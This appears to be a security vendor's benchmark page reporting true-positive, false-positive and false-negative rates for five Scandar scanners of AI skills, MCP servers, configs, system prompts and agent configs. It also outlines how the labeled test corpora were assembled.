DETECTION ACCURACY

False Positive Benchmark

Measured false positive and false negative rates across all 5 Scandar scanners on a curated corpus of 200+ labeled AI artifacts. Last updated March 2026.

Combined FP rate across all scanners: 3.4% — Layer 2 reduces this by ~40% on ambiguous inputs

SCANNER	CORPUS	TRUE POSITIVE RATE	FALSE POSITIVE RATE	FALSE NEGATIVE RATE
Skill Scanner	100 safe + 100 malicious AI skill files	94.0%	3.2%	6.0%
MCP Server Scanner	80 safe + 80 malicious MCP server files	96.3%	2.5%	3.7%
Config Scanner	60 safe + 60 malicious MCP config files	97.1%	1.7%	2.9%
System Prompt Scanner	70 safe + 70 malicious system prompts	91.4%	5.7%	8.6%
Agent Config Scanner	50 safe + 50 malicious agent configs (9 frameworks)	93.0%	4.0%	7.0%

Scanner Notes

Skill Scanner

Safe skills with legitimate exec patterns (e.g. shell tools) account for most FPs. Layer 2 reduces FP rate by ~40% on ambiguous cases.

MCP Server Scanner

Lowest FP rate of all scanners. MCP threat patterns (tool poisoning, unsafe exec) are highly distinctive. Layer 2 catches novel obfuscation.

Config Scanner

Deterministic registry-based detection. Known-safe package suppression eliminates most FPs. Typosquatting detection has zero FPs on corpus.

System Prompt Scanner

Highest FP rate due to absence-rule sensitivity (missing defenses). Some legitimate narrow-scope prompts trigger missing-defense rules. Layer 2 calibrates well here.

Agent Config Scanner

Framework-specific rules (58 rules across 9 frameworks) significantly reduce FPs vs. generic rules. Broad tool permission grants are the primary FP source.

Methodology

Each corpus was assembled from real-world files, synthetic examples, and modified variants of known-malicious samples from published security research.
Malicious samples include examples from the ClawHavoc supply chain attack corpus (January 2026), CVE-mapped MCP server vulnerabilities, and internally crafted adversarial examples covering all 20+ threat categories.
Safe samples include production-grade AI skills, MCP servers, and agent configs from the Scandar Verified Marketplace and open-source repositories, selected to represent normal patterns that pattern-matching tools commonly misclassify.
Layer 1 (pattern analysis) and Layer 2 (LLM behavioral analysis) results are reported separately where applicable. Combined rates reflect the full two-layer pipeline output.
Benchmark was last updated March 2026. We re-run this benchmark quarterly and after major rule additions.

Have a sample we misclassified? Send it to security@scandar.ai with the expected verdict. We use community submissions to improve the corpus.